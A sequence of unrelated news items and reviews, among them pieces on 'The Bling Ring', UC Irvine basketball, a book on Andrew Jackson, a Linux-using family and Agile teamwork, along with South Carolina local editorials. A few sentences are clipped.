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For a brief and blinding moment in 2009, the Bling Ring crime spree ruled the social networks, TV news cycles and front pages of newspapers around the globe, including this one. At the time, I was bothered by the way the stories about a gang of affluent teen fashionistas stealing from trend-setting local celebrities underscored our out-of-control obsession with fame.
One of the complexities of watching "The Bling Ring" is figuring out which subset of humanity to dislike the most. All in this sardonic tragedy are distinctly sketched in by the filmmaker.
The obvious choice would be the larcenous teens from tony San Fernando Valley neighborhoods. They are brought to vacuous life by the movie's stars:
Impressive newcomer Katie Chang steps in as Bling Ring mastermind and driven shopaholic Rebecca. Marc (Israel Broussard) is the new kid at school and the one who has the best fashion sense. Chloe (Claire Julien) is so beautifully blond she can't be bothered.
They are model-thin, arrogant and camera-ready — despite Marc's worry that he doesn't have an A-list face. Their sense of entitlement and complete lack of a moral center make them a tough bunch to like.
And yet, meet the parents.
The ones who didn't notice the endless new outfits and easy cash. Or that their underage teenagers were clubbing all night, every night. Nicki's mom, played by
Finally there are the victims.
In all, about 50 houses were targeted. Bloom, Lohan, Rachel Bilson and
I'm hoping that what we see of Hilton's things on screen is a case of production designer Anne Ross going a little nuts. Otherwise I don't know whether to laugh or cry at the level of narcissism on display — pillows covered in silk-screen images of the heiress/entrepreneur, walls bursting with magazine covers featuring either that oh-so-precious pout or ever-so-small smile.
The celebrities are seen either in fawning red carpet clips or through their huge stockpiles of pricey possessions. Neither look is pretty.
Coppola drew her inspiration not only from the actual events and people, but Nancy Jo Sales' fine Vanity Fair piece, "The Suspect Wore Louboutins." It makes the story feel very familiar.
Still, the filmmaker has taken a good deal of liberty with the facts, enough that names and some of the specifics have been changed.
The action is constantly moving — a day in the life circling through school, beach hangouts, nightclubs and the break-ins. A few post-arrest interviews are dropped in every so often. They seem designed as ironic, rather than pure comic, relief.
As to the treatment of the burglaries themselves, Coppola lingers, lets them take center stage. The movie is, after all, about things as much as people.
The Peeping Tom perspective makes it strangely addictive to watch. And the teens are entertaining, mercilessly critiquing the celebrities' tastes as they rummage through their designer labels, slip on the Louboutins, and rake through piles of gem-encrusted baubles. Only drugs and cash were snatched without question or comment.
Much of the loot was cellphone-snapped — for posterity, I guess — then posted on Facebook.
Like a meta moment, the movie captures the social networking in loving detail too. For the final time, the camera was in the good hands of frequent Coppola collaborator Harris Savides, who passed away not long after the film wrapped. (Christopher Blauvelt is the film's second cinematographer.)
For the incredible ensembles the actors — and closets — are dressed in, credit costume designer Stacey Battat.
Everything about "The Bling Ring" is beautifully rendered, with an attention to detail that has become a Coppola signature so lushly realized in the bouffants and bustles of 2006's "Marie Antoinette."
The filmmaker clearly has an ear for dialogue as well. She certainly nails the privileged Valley teen here.
Yet with the exception of 2003's "Lost in Translation," which remains a brilliant high for Coppola, there is much about the director's work that somehow does end up lost in translation. She stays ever at a distance, keenly observing but never taking a stand.
In "The Bling Ring," that leaves the characters with no discernible emotional arc. These teens flat-line from start to finish.
For a story to grab you, someone needs to live or die, fall in or out of love, or at least learn something about themselves. The periodic cuts to the interviews after the teenagers' arrests, the spots where you might expect some insight, offer little.
Make no mistake, it is lovely to look at this celebrity bedazzled bit of L.A. crime history for a while. But the movie ultimately leaves you feeling as empty as the lives it means to portray.
'The Bling Ring'
MPAA rating: R for teen drug and alcohol use, and for language including some brief sexual references
Running time: 1 hour, 27 minutes
Playing: At ArcLight Hollywood; Landmark, West Los Angeles, AMC Century City


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IRVINE — Longtime observers of UC Irvine men's basketball would likely come away with the same two-word summary after the Anteaters' 101-92 exhibition win over NAIA representative Vanguard University on Saturday.
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Unveiling five frontcourt players ranging from 6-foot-8 to 7-0, the kind of paint presence that is surely unprecedented in the Bren Events Center, the hosts were able to play a level above the scrappy and talented Lions.
The quintet of senior Adam Folker, sophomores John Ryan, Mike Best and Will Davis, as well as freshman Conor Clifford combined for 58 points and 30 of the 'Eaters' 51 rebounds. Taking advantage of a Vanguard lineup with a pair of 6-5 frontcourt starters, the UCI bigs also made 18 of 24 field-goal attempts (75%) to help UCI finish 38 of 67 from the field (56.7%).
Folker, the 6-8 veteran, made six of eight field-goal attempts, all four of his free throws, and added seven rebounds, three assists and one steal in 21 minutes.
The 6-10 Ryan, who redshirted last season after transferring from Fresno State, made all five of his field-goal tries on his way to 14 points. He also collected nine rebounds and one blocked shot in just 13 reserve minutes.
Clifford, a 7-footer out of Ocean View High, was five for seven from the field (11 points) and pulled down five rebounds in 11 minutes.
Best and Davis, who both stood out sporadically as freshmen, combined for eight points, nine rebounds and four blocks to give Coach Russell Turner plenty of inside options.
UCI needed all that, and double-figure scoring from guards Chris McNealy (15) and Derick Flowers (13) to hold off a Lions squad that amassed 63 second-half points.
Vanguard guards Preston Wynne and Taylor Kelly each had 16 of their 21 points after intermission, and senior post Ennis Whatley netted all 17 of his points in the final 20 minutes.
Sophomore point guard Chris Gorman also chipped in 20 points to help the Lions whittle what once was an 80-60 lead to within 97-92 with 16 seconds left.
But the visitors let 26 seconds click off the clock before fouling with 51 seconds remaining, then let another 10 seconds elapse before sending UCI to the line with 23 ticks left.
UCI made nine of 12 foul shots in the final 2:11 to hold on. Its 51-31 rebounding advantage and a 55-13 bulge in bench scoring was also critical for the winners.
"John Ryan had a terrific game, Adam Folker was solid on offense and our big guys did a good job [executing] our game plan," Turner said. "They were a big part of us holding [the Lions'] top players to very few points in the first half."
But Vanguard spread the floor in the second half, when it netted six of its 10 three-pointers and slashed past one-on-one coverage for layups and floaters.
"We got it going," said VU Coach Rhett Soliday, a former UCI assistant. "We tried to space them out and our guards are pretty good. And [the change] also gave Whatley a little more room in the paint."
Freshman guard Alex Young was another bright spot for UCI, producing nine points, six assists and five rebounds in 25 minutes off the bench.
"[The 'Eaters] have great depth," Soliday said. "I spent four years here and we had a couple good teams. But I would say would say this [UCI] team has as good a depth as probably anybody in the Big West [Conference] And they have really good bigs."
UC Irvine 102, Vanguard 92
VU – Whatley 17, Chuang 0, Wynne 21, Kelly 21, Gorman 20, Larkins 8, Diandy 5.
3-pt. goals – Kelly 4, Wynne 3, Larkins 2, Gorman 1.
Fouled out – Chuang.
UCI – Wilder 6, Best 4, Folker 16, Flowers 13, Starring 7, McNealy 15, Ryan 14, Clifford 11, Young 9, Davis 4, Wright 2.
3-pt. goals – Flowers 3, Starring 1.
Technicals – McNealy 1.
Halftime – UCI, 45-29.
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Andrew Jackson
in the White House
Jon Meacham
Random House: 488 pp., $30
This engaging new book about Andrew Jackson, our first up-from-nowhere president, takes its place on a crowded shelf in the library of national leadership. Jackson has not been overlooked heretofore. Just in the last few years there have been useful new works on Jackson and the age of Jackson from Sean Wilentz and Daniel Walker Howe; and scholars such as Andrew Burstein, whose "The Passions of Andrew Jackson" appeared in 2003, continue to air provocative theories.
Jon Meacham's account of Jackson's years of power does not contest the mainstream version. It selectively enriches that version with graceful new readings of some formerly overlooked primary materials, notably the private papers of members of Jackson's family circle. Elected president after an especially brutal campaign in the fall of 1828, during which the allies of his opponent, John Quincy Adams, charged him with being a murderer, a fanatical duelist, a perpetrator of atrocities against the Creeks and the son of a whore, Jackson suffered the loss of his beloved wife, Rachel, just before assuming office. Having no children of his own, he recruited a surrogate son, Andrew Jackson Donelson, and Donelson's young wife, Emily, to serve as his roommates at the White House -- Emily, from a prominent Nashville family, would become his hostess and a stand-in first lady.
Emily Donelson is mainly known to history as a player in the Margaret Eaton affair. Peggy Eaton was the wife of John Henry Eaton, Jackson's first secretary of war. She was also a flirt, a raving beauty and the daughter of a man who ran a notorious boardinghouse, and she had a reputation as a woman of easy virtue. The wife of Jackson's vice president, John C. Calhoun, refused to see her socially. Other of Washington's most prominent women also refused to have anything to do with her, and Emily Donelson took her lead from them.
Jackson, loyal to Eaton, who had served under him during the War of 1812, made social acceptance of the Eatons a sine qua non for receiving his presidential favor. Emily was banished from the White House, temporarily. The loathing that the president came to feel for Calhoun probably had something to do with Mrs. Calhoun's unkindness to Peggy. But Jackson never lacked for pretexts and energy for hating his opponents.
Meacham's book hinges on the proposition that "the future of the American presidency was at stake" in the Eaton affair. What he means by this is that Calhoun put himself in bad repute with Jackson when his wife disrespected the wife of the secretary of war. Meanwhile, Martin Van Buren, the clever secretary of state, took the opportunity to demonstrate a warm public affection for the Eatons and, by this means, won Jackson's support for his own ascent to the presidency.
Whether or not the Eaton affair had much to do with Van Buren's eventual success, the future of the American presidency was, surely, at stake during the Jackson era. Not because of this mini-scandal, however -- rather, it was the prodigious political talent and strange character of Jackson that made these years so determinative of everything that was to come. The tendency now is to see Jackson in terms of the political reality he brought into being: a mass democracy, with the president acting as the people's mighty tribune. We have had other presidents of his stripe (indeed, the few great ones, and the most energetic bad ones, have been Jacksonians all, stretching the powers of the institution and acting with phenomenal force in the service of this or that definition of the public interest). The temptation to see Jackson through a presentist lens is so strong that we tend to lose sight of, and fail to grapple with, his weird inventiveness. The system did not have to develop as it did.
It all seems inevitable now, but only because Jackson's innovations worked, brilliantly. Before Jackson, presidents did not get out and campaign energetically among the people; presidents did not relentlessly repeat their policy messages through organs of communication they wholly controlled; presidents did not exercise the veto purely for policy reasons; upon taking office, they did not throw all the rascals out and pack government with their own partisans. Partisanship, indeed, did not exist, not in the American sense. Jackson and his minions discovered the utility of wooing members of their own party in Congress; as a result, the administration came to have loyal water-carriers on Capitol Hill, and what John Quincy Adams called the old Senatorial "combination against the Executive" no longer worked as it had, to foil presidential overreaching.
Meacham knows all this, and his book, which purports to tell the human-interest saga of the Jackson circle, comes most startlingly alive when he tells the old, amazing story of the ill-educated rube who invented modern politics. It is a story of American genius (a genius for perpetuating slavery and for removing Indians from their land, as well as for more honorable things). Not that Jackson was all that ill-educated, actually; he read Shakespeare, Plutarch and the Bible, and François Fénelon was a great favorite -- Fénelon being the 17th century French author of "The Adventures of Telemachus," a treatise on Machiavellian governance. Maybe the point is that he gathered from here and there just what he needed, doing at each unexpected step of the way just what his instincts told him. Nathaniel Hawthorne, like other literary men of the time fascinated by Jackson, recorded a story of Jackson getting into a dispute "about eclipses and the planetary systems generally," and "compelling a whole dinner-party of better-instructed people to knock under to him in an argument." Hawthorne concluded, "Surely, he was the greatest man we ever had; and his native strength, as well of intellect as character, compelled every man to be his tool that came within his reach; and the [more] cunning . . . the individual . . . it served only to make him the sharper tool."
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WALES Women's head coach Rhys Edwards has named six uncapped players in an exciting squad for the 2014 Six Nations championship.
Blues second row Jade Newman is the only new face among the forwards while Edwards has turned to youth in the backline with teenagers Hannah Jones (Ospreys), Eli Norkett (Ospreys) and Robyn Wilkins (Blues) being handed their big chance alongside speedsters Ffion Bowen (Ospreys) and Laurie Harries (Blues).
There is also a welcome return for Scarlets full back Mared Evans who missed last season due to injury.
Megan York, Caryl Thomas, Sian Williams, Rachel Taylor, Amy Day, Elinor Snowsill and Rebecca de Fillippo are representing the Dragons.
"We've chosen the squad on form at both club and regional level," explained Edwards. "It might be considered that we are gambling with two or three of them but all those who have been selected are picked on merit because of their form, attitude and commitment," he added.
Jones and Norkett are just 17 while Wilkins is only a year older but Edwards has no qualms about throwing them in at the deep end.
"It's all about giving some of the promising players experience at the top level. As an example Robyn is the most promising player in her age group and she can play at either 10 or 12 so that gives us extra options. We want to put her in a big game environment during the Six Nations as we also look ahead to the World Cup as well."
The recently completed Women's Regional Championship has also unearthed some hidden gems according to Edwards.
"We didn't even know Ffion Bowen three weeks ago but she has proved in a relatively short space of time she can finish – and finish well on the wing. She is a young and exciting prospect and a player we hope to nurture through the Six Nations," he said.
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Fergie josh duhamel 2013, After enjoying plenty of R&R in Brazil, Fergie is focusing her attention a little closer to home.
"I'm starting the nesting period. That is what's happening now," the soon-to-be first-time mom, 38, told PEOPLE at Saturday's NewNowNext Awards.
"Let's put it this way: I am going through about five rooms right now, and there are changes that need to be made. My husband [Josh Duhamel] goes, 'Oh, you're in the nesting period? I've heard about this.'"
She's also experiencing another less desirable effect of her pregnancy: mood swings. "Oh yeah!" she said. "But I'm not going into that."
Not that Duhamel is complaining. "He's been amazing," she told reporters. "He's so nice and wonderful, and he sings and talks to my belly all of the time. He's very complimentary. I'm very lucky that he is really good to me."
And she, too, has plenty of compliments for the actor, whom she wed in January 2009. "He's going to be an amazing father. He's got natural parenting instincts. He wanted to knock me up from our first date. He's ready."
For now, Fergie is keeping the sex of her baby a secret. However, she's more open about her pregnancy, which has "been easy, hard — it's been everything," she told reporters. "It's been a very happy pregnancy. It's a very happy time."
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Reuters press critic Jack Shafer spoke to TPM recently about how he is "blessed with insomnia," covering Rupert Murdoch and what he would do if he weren't a journalist.How did you end up writing about media?
I was the editor of the Washington City Paper from 1985 to 1995. I tried to find somebody to write the media column for me, and I couldn't get anybody to do it. Most people said, 'Well, I don't want to write critical stuff about The Washington Post. It'll make it harder for me to get a job there.' I never wanted a job at The Washington Post, and I thought, well, that qualifies me. My interests grew, of course.
Briefly describe your own media consumption.
I am blessed with insomnia. So I get up at 2 o'clock or 3 o'clock, and read aggressively from my RSS reader and front pages of the Times and The Post and the Wall Street Journal, and scan Twitter … especially to see what the Brits are tweeting about. Once I get to work, the media consumption continues apace. I get to the hard copies of those three newspapers and the FT. I read all the usual suspects when it comes to magazines. I have two large monitors tempting me with all the goodies that can be found on the web all day long.
What are the media doing well right now? What are they doing poorly?
That's a question that doesn't make sense to me. I don't know what the media is. I don't know how you can generalize like that, because I can't.
What's the biggest media story of 2012 so far?
Rupert Murdoch, simply because of the column inches that have been devoted to it. Murdoch is somebody who has a 50- or 60-year-long media imprint. Everything he's ever done is remembered by somebody and therefore regurgitated, hopefully. Regurgitation can be a good thing, to provide context for his current crisis.
What's Rupert Murdoch's future?
I never predict. Whenever I predict, I'm wrong. But I would say, never underestimate Rupert Murdoch. He has a knack for escaping the hangman's noose.
What in your opinion is the most under-covered story right now?
I don't think there is such a thing as an undercovered story. If I knew about it, it would be almost by definition not undercovered. You could say anything … the comeback of the Detroit Lions. But then how would you prove it? How would you demonstrate it?
Are there any subjects you won't criticize?
I don't think so. I've never overdone it criticizing the organizations I work for. That's too ombudsman-ish. If I wanted to write something critical about Slate, they could be persuaded to publish it. Reuters, they would probably publish it. I don't think there's anything off limits.
I think everybody's up to conjecture. That's what journalism is. It's an inquiry into the world as it exists. If you learn or attain new knowledge and new interpretive framework, you have to be subject to correcting your own record. I wouldn't say I'm malleable plastic. I'm obviously open to criticism and changing my mind. I read across the spectrum of political magazines, looking for new ideas and I'm interested in ideas I hold dear being challenged.
What's your writing routine?
No daily writing routine. I have a great editor, James Ledbetter. Often when I don't have a good idea, he will have a good idea. He's splendid to work with. Readers are most interested in topics that are in the news. Topics are more likely to be popular if they're topics in the news.
I like to tweet during the day and if readers respond well to one of them, it will make me think that there's probably a whole column in it and I'll commence to writing one based on it. I wouldn't say there's an average day.
For me, Murdoch has been a dream assignment. He provides endless fodder. He contradicts himself. He repeats himself. He stands at a sort of anti-heroic role in our culture. Heres a man who makes Richard III look like a nice guy, makes King Lear look like a reasonable father. He's a delight to write about. We need more Murdochs, for my purposes.
How has it been transitioning to Reuters from Slate?
At Slate, they treated me like a prince. At Reuters, they treat me like a king. I was very happy to be at Slate for 15 years and Reuters where they want Jack Shafer to be Jack Shafer. I'm very, very happy here.
Who are people you admire doing good journalism?
That would be a huge list. And I think I do compliment people in my work. But that would be a gargantuan list and probably a pretty boring list. I think this is the golden age of journalism. If I were to single out a dozen people, I would have left out 11 dozen equally deserving of commendation. I wouldn't go there. I have so much great admiration for so many different journalists. The trouble with lists and listicles is they limit our understanding of what's good out there and what's bad. So that's like predictions, I'm afraid of lists.
Fill in the blank: Journalism is the (blank) job in the world.
Most American.
If you weren't a reporter, what would you do?
I'd be a house painter. I was good at it with a steady hand for window work. The hours are good, the pay not bad, and you can work outside most of the year. Plus, I like heights and the smell of oil-based paint.


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Walt Disney Studios has begun filming its live-action fairy tale "Maleficent," starring Angelina Jolie, in London.
Disney said Tuesday that production began last week on the movie, billed as the untold story of the villainess from the 1959 Disney classic "Sleeping Beauty."
"The film reveals the events that hardened her heart and drove her to curse the baby, Aurora," stated a release from Disney.
Co-starring in the film are Sharlto Copley ("District 9"), Elle Fanning ("Super 8"), Sam Riley ("On the Road"), Imelda Staunton ("Vera Drake"), Miranda Richardson ("The Hours"), Juno Temple ("Atonement") and Lesley Manville ("Secrets & Lies").
"Maleficent" is scheduled for a March 14, 2014, release in 3-D.
-- Richard Verrier, Los Angeles Times


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Sources connected with the network tell us ... Comcast honchos did not like Keith's defiance and the way he played in the sandbox.
Our sources say Keith has around two years left on his contract, and he'll be paid his salary -- around $7 million a year.
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"Mission: Impossible — Ghost Protocol" gallops into theaters almost exactly on schedule — its predecessors came out in 1996, 2000 and 2006 — and (more importantly) just in time to rescue Tom Cruise's flagging box-office numbers. Outside of his funny, if bizarre, guest spot in "Tropic Thunder," his films since the last entry ("Lions for Lambs," "Valkyrie" and the underrated "Knight and Day") have all underperformed. The utterly enjoyable "M:I — GP" should fix all that.
Cruise has hired different directors for each "M:I" feature, from veteran Brian de Palma to transcendent transplant John Woo to TV prodigy J.J. Abrams, who had never before directed a feature. This time he has hired someone who has never even directed live-action before — animator Brad Bird ("The Incredibles," "Ratatouille"). Daring ... and entirely worth it.
"M:I — GP" opens in Budapest, where another IMF agent (Josh Holloway, who played Sawyer in "Lost") is trying to steal a briefcase full of MacGuffins (nuclear launch codes, if it makes any difference). Things go awry, and the other members of the team — Jane (Paula Patton) and Benji (Simon Pegg) — are instructed to round up Ethan (Cruise) to take over. The problem is: Ethan is doing hard time in a Moscow prison (for reasons we only learn about later).
They spring him, and in no time — I mean, really, it's the same day — he masterminds a scheme to break into the Kremlin and steal ... um ... actually I can't remember what they're stealing ... . Launch codes? A personnel file? The Hope Diamond? It doesn't make any difference — that's how MacGuffins work — because all we care about it that the gizmos they use are so cool. On the high-tech side, there's a more or less feasible invisibility shield. (I've seen it demonstrated on NatGeo.) On the medium-tech side, there's a teeny periscope camera attached to an iPad (or maybe it's Android-platform, who cares?) for seeing around corners.
And then the team gets framed as terrorists and are disavowed (as always promised), and a new guy (Jeremy Renner) joins them, and they go to Dubai, where Ethan has to climb the sheer glass outside of the world's tallest building from, like, Floor 100 to Floor 110 in four minutes or something and then has to chase a bad guy through a sandstorm, and then they're off to India for some other reason and he has to chase the same bad guy in a manner that looks very much like Donkey Kong or like Popeye trying to save a sleepwalking Olive through a conveniently placed high-rise construction site and ... and ... and then some other stuff happens.
The End.
Plot is really not the point here, nor is plausibility. What Bird brings to the party is wit. There were bits of humor in the earlier films, but you wouldn't call any of them funny. This one most definitely is: Some of the humor is reminiscent of the early Bond films, but most of it derives from the contrast between the human scale of the characters and the outrageously overblown action and technology. Pegg gets most of the good lines. They'll be flying through an airshaft in a magneto suit in order to upload (or download) the codes on a satellite link, and Pegg's character will make a typo that could kill them all. Then he'll apologize in the shrugging tone of Rick Perry saying "oops..."
The attitude is endearing. "M:I — PG" may be mocking the series' conventions, but it does so without condescension. The result is the best popcorn movie of the year.
ANDY KLEIN is the film critic for Marquee. He can also be heard on "FilmWeek" on KPCC-FM (89.3).


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Open Source Householdby Daniel Dern
As owner and president of Brooklyn Linux Solutions, it's hardly surprising that Ruben Safir uses Linux on a regular basis. Indeed, it would be suprising if he didn't.
Also a member of New York Linux Scene, an organization that provides resources to the New York City-area Linux community, Ruben says he's been using Linux exclusively since 1996.
What may be surprising, however, is that this use of Linux, and open source software, also extends to Ruben's home--and not just for his own use, but for the entire family, including his wife, Ellen Safir, and their six children (two boys and four girls, currently ranging in age from five to fourteen). The house has half a dozen computers in it (more or less), all networked together and connected to the Internet through DSL.
The operating system on all of the computers in the house is Linux, using a combination of Red Hat, SuSe, and Slackware, although, notes Ruben, "Some of the setups are so old and hacked that they are beyond recognition." In addition, the software on the computers is nearly all open source or other freely available code.
The Safir children are native Linux/open source users. "Our kids don't know anything different," says Ruben. "They've developed the ability to [work on the] command line and have their own desktops and different window managers. They've also become pretty adept at finding programs to install, especially games."
Linux hasn't proved to be an obstacle to the Safir kids becoming computer users. "When someobody says, 'People need to use Windows because it's easy,' I tell them that my five year old has been able to click and go with WinMaker since age three," says Ruben. "He's more than capable of handling his own thing: loading programs, draging icons onto the clipboard, et cetera."
When asked if they find using Linux easy? Hard? More convenient than Microsoft Windows or a Macintosh? replies from the Safir family included: "Linux is easier and fast," from Dovid; and "It's the same," from Shani. Ruben adds, "the other children have never used anything else."
Proprietary and other "closed" software aren't prohibited at the Safir household. For example, "We're running Applix," says Ruben. "And we've had other software here at times." On the other hand, Ruben concedes that the absence of a Windows environment puts some inherent limits on what can be installed and run.
"Recently I was running WINE [a non-Microsoft implementation of Windows 3.x and Win32 APIs that lets Unix/Linux users run Windows programs without using Microsoft Windows], and the only Windows software I could get running was a Bicycle card game. There's some Jewish software that runs under Windows; I'll look into making it run under WINE if we can't get them to rewrite it for Linux."
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When the Safir kids go to other people's houses and sit down at their computers, "They can't understand where GnomeHack, a GNOME front end to NetHack, is." (NetHack is a text-based role-playing game (RPG) a la Adventure and Zork.) "They've also recently discovered Crossfire" (a graphical RPG with multiplayer capability).
"They're very frustrated with the programs [on other people's computers]. For example, they feel very limited by not being able to change the window manager, or, most importantly, flip virtual desktops. We usually have between five and seven virtual desktops; in Windows, you're restricted to one."
More often, says Ruben, "the neighborhood kids come here to do work, because we've got more things available, especially games. Most of my kids' friends are also religious Jews. A lot of them have computers for work or gaming, but, like us, no TVs . . . and many of them don't even have computers or Internet connections. When they come over here, they discover there's a LAN around the house. That's still unusual around here."
Both games and applications are proving popular with resident and visiting kids. "GnomeHack has been the big rage; they learned how to turn off the Kill feature and get to the deeper, empty levels of the Dungeon." Other popular games in the Safir household include gnome-stones and Nibbles, which all the kids play. Dovid, who is ten, says he's also playing Gnome Robots II and Margon variants.
I asked Ruben to poll the kids on what text editor(s)/word processor(s) and other applications they use. Taly uses Applix, Itka uses gedit, and Schmuley uses Paint. Favorite programs: GnomeHack and chess--David; "diamonds" (gnome-stones)--Schmuel; GNOME/bill--Itka; and GIMP and chess--Taly.
For Web browsing it's Mozilla, reports Ruben, "but they don't know that." For schoolwork and other study, Applixware gets used, along with a dictionary, a periodic table, and the Internet.
Non-game software also gets the attention of visitors. "Usually it's the GIMP (GNU Image Manipulation Program) that blows them away. Most houses don't have spare copies of Photoshop."
House-wide computing made more affordable by open source software also encourages the children to make fuller use of technology, according to Ruben, for both school and social purposes. "Everyone in the house can talk by email with friends and relatives."
Not surprisingly, ready access to free software also helps the Safirs when it comes to schoolwork. "They use a lot of statistical and plotting packages that come with SuSe in the science and math areas, mostly using Science Lab 2.5, which has a bunch of scientific experiments that can be run. There's an interactive periodic table, and much more.
"Now that Taly, my eldest daughter, is in high school, because she has far more resources available than anybody else, she gets further in science projects," says Ruben. "It's hard to imaging doing without open source software; it would be far more expensive to provide all this."
Open source breeds computer literacy
Although fuller access to computers is encouraging computer literacy, it doesn't necessarily breed new programmers or computer scientists, says Ruben. "I've been trying to encourage them to program but haven't had much luck. My 14-year-old daughter isn't that interested. But my ten-year-old son is beginning to show some slight interest."
On the other hand, "There's a whole non-constraining element about computers and computing in our house that makes using them easy. They have no limitations. This changes the way the kids view things. When there are no restrictions on what can be done, it becomes, 'What does this system have on it?' and 'What does this do?' rather than 'Do you have [this]?'"
"And their friends have also learned they have no limitations . . . by the time they get done asking our kids whether they have this game or that, they find they literally have hundreds of them. The other day, I found my son playing chess with a friend across the street, via the Net, using a Java-based version. They also play Risk; I had to kick them off and make them go to sleep."
Having his children use Linux and other open source programs isn't just a financial decision. "It's an issue of familiarity and computer literacy," Ruben states. "I've been advocating computer literacy, but what does that mean? It doesn't mean learning to use WordPerfect or Word. It means programming and the administration of a computer, understanding how it functions and how you can use it--not just how to make a Word file."
And, claims Ruben, serious computer literacy requires making use of open source software. "If you want to raise children that are able to leverage computers to meet their own goals as free citizens, that's not possible with commercial software, period. Free software makes more possible," says Ruben. "If they were limited to commercial systems only, the kids would have no chance to do much of what they're currently doing. They couldn't make the sound files they make, run the video stuff they run, do the graphics they make."
"All the things that XP is advertising now, we've been doing this for five years already. We're educating our children and giving them the ability to further express themselves using computers, and the ability to use computers as a voice and a way of getting information and communicating."
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Those of us who practice Agile can't always work on Agile projects. The idealists among us would say that one should hold out for the perfect workplace, where everybody is in the same location. In reality, this would rule out great opportunities. Not all great projects are at start-ups where everybody is in the same location. Some great opportunities are at large companies or have employees distributed globally. If you choose to follow an opportunity on a project with a team that does not practice Agile, there is still hope. Any process can be improved and the journey of making a process better can be an exciting learning experience. The skills that you have learned working with Agile in it's purest form, should not go to waste because they can be a model for where your new project would thrive. Continue learning about Agile as if you had the freedom to practice it as prescribed and apply them to your process in a balanced way. Your goal will be to one day replace all of the weaknesses in your existing process with the strength of the purest form of an agile process.
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Honesty is important in an Agile team. We are not honest when we commit to take on more then we can complete. We are not honest when we fail to point out a co-contributors flawed judgment. Daily stand-up and retrospective meetings are there to get the team talking and air out anything that may be in the way of success; even if it is not easy to admit. Honesty is the first step in real shared responsibility. Once you don't feel the need to keep anything from your team, there is nowhere for problems to hide. A team needs to make decisions together. In Agile, we trust that the team unit will manage the workflow within a sprint instead of being dependent on one person to make decisions.
The rhythm of an Agile project could be it's most marketable attribute. Teams will get accustomed to cycles of sprints and over time, their throughput becomes more predictable. Massive project plans with Ghant charts are not suited to predicting the throughput of creative projects and have been letting businesses down for years. The business wants the development team to be more predictable which allows them to properly market and sell. The fact that each iteration will release on a date with or without lesser prioritized features is the best way to make a development project predictable. What is built is determined by what is most important for the business to get at the end of the two weeks. You can't control how much time it will take to create but you can control the order in which the creators take on tasks. Businesses who embrace this will love the results they get from Agile.
Since we software people are creators we need a creative environment. Some of us can't avoid working in a massive cube farm, but that does not have to keep teams from being creative. The flexibility of an Agile project goes a long way in reaching level of creativity needed for success. We all encounter things while developing that are unforeseen in planning. The realization that this can be an opportunity instead of a set back was the first step in me falling in love with Agile. I was working on a new feature. I talked to the designers and product owners and thought I had a pretty good idea of what everybody was expecting. I spent some of my free time prototyping in an attempt to flush out some of the unknowns and was confident that I would be going into my next sprint with every hour accounted. Towards the end of the sprint, I noticed that a component was not behaving as expected and started to worry that resolving this issue would require more hours to fix then I had time. I spent hours that night researching and spinning my wheels with solution after solution. Each attempt to fix the problem was worse then the last because I was tired and stressed. When I came into work the next day and talked to my manager about the issue developing my feature, he simply instructed me to bring up my issue at the stand-up meeting. In the meeting, and as a team, we decided that this feature was not critical to launch. We decided to move forward developing other features and the troubled feature was moved to our backlog as a spike, meaning that the feature required more research. If it had been an important feature, we would have removed other features from the sprint to make room for the time that this issue would take to fix. Suddenly, I went from an unsustainable situation where an indefinite amount of new work was being added to my already committed development sprint. I went from feeling like I was going to fail to feeling creative again. I don't think the project team ever ended up prioritizing this feature to be built, but the immediate release was delivered in high quality.
The freedom to change and reposition requirements is what makes a team agile and really freaks out the business at first. You will notice most hybrid processes that people come up with are intended to avoid allowing this flexibility. A lot of people think that a team will use up as much time as they have and never create any extra feature, only take more and more time until the project fails. Assuming a team is staffed well this should not be the case in an Agile team. Agile manages to remove a lot of the friction of software development and create an environment where developers can have fun. We gather around a scrum board in the morning and share stories about the day before and ask for help when we need some. This board shows, at a glance, our progress and it has been customized with little pithy quotes and funny drawings. When we commit to something on this board we don't want it to fail. The team feel a sense of ownership for this board and we want it to display a successful project. We see people from other areas stopping to glance at our board and read the quotes and giggle at the humor then scratch their heads trying to make sense of the cards and burn-down chart. We are proud of this project and this board and that is the only incentive we need to make it a success.


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Who would have guessed it? Not us. We had no idea so many people would be interested in the District 16 state Senate seat when it came open after Mick Mulvaney's election to the 5th District U.S. congressional seat in November.
But interest it has stirred.
Seven candidates – five Republicans, a Democrat and a Libertarian – have filed for the post.
Mulvaney, a Republican businessman from Indian Land, vacated his Senate seat in December as he was preparing to take his seat in Congress. Mulvaney was sworn into office earlier this month.
Lancaster County veterans lost a true ally earlier this month when George Rollings died after a courageous battle with cancer.
Rollings served as the Lancaster County Veterans Affairs Officer from 1988 to 1995. He followed on the heels of the late Ward Faulkenberry, so he had some big shoes to fill, but he handled his duties well.
Even after serving his time with the VA office in Lancaster County, Rollings was a frequent visitor to the office as he wanted to help in any way he could. When his time was up in leading the VA office, he stayed active.
December proved to be a marvelous month for the Lancaster County Parks and Recreation Commission.
In the first weekend of the month, LCPRC saw a pair of youth soccer teams capture state championships at the Manchester Meadows Soccer Complex in Rock Hill. A third county youth all-star soccer team earned recognition with a state tournament consolation victory for a third-place finish.
Those splendid showings would be enough, but in the week to follow, the LCPRC reaped another coveted state honor.
It is hard to believe that there was so much violence surrounding an effort to promote racial justice and equality for people, not only in the United States, but throughout the world. However, the battle did just that.
The violence prevailed even though Martin Luther King Jr. advocated nonviolence while promoting his mission of equal rights for everyone. King's and the effort of many others paid off with the passage of the Civil Rights Act of 1964.
History is what we're seeing as new elected leaders on the federal and state level begin their terms in office.
Last week, history was made in the Congress when 94 newly elected members of the U.S. House of Representatives, including Indian Land businessman Mick Mulvaney, were sworn into office.
On Tuesday, Jan. 18, residents of Indian Land Fire District will have the opportunity to let Lancaster County Council know whether they want to pay an extra $75 each year for enhanced fire protection.
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Lancaster City Council voted unanimously Dec. 28 to appoint Harlean Howard as the Lancaster Police Department's next chief.
She succeeds White, who has been with the department since 1982 and was chief for the past 11 years.
Howard is no newcomer to law enforcement. She got her start with the Philadelphia Police Department in 1978 and worked there until 1989.
Ringing out the old and ringing in the new is a common practice as we say good riddance to the bad of a previous year and hope for good in the new one.
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Just before Christmas, we reported that four local companies expect to hire hundreds of people this year.
It's hard to believe 2010 is nearly over. Despite the fact that economists say we've now been in a economic recovery for more than a year, 2010 was still a hard year, especially for the nearly 15 percent of us still out of work in Lancaster County.
But the news here in Lancaster County wasn't all bad. This year, we've seen a number of significant openings. The new Walmart in Indian Land, a prototype superstore, and ALDI, the area's third grocery store, both opened in August.
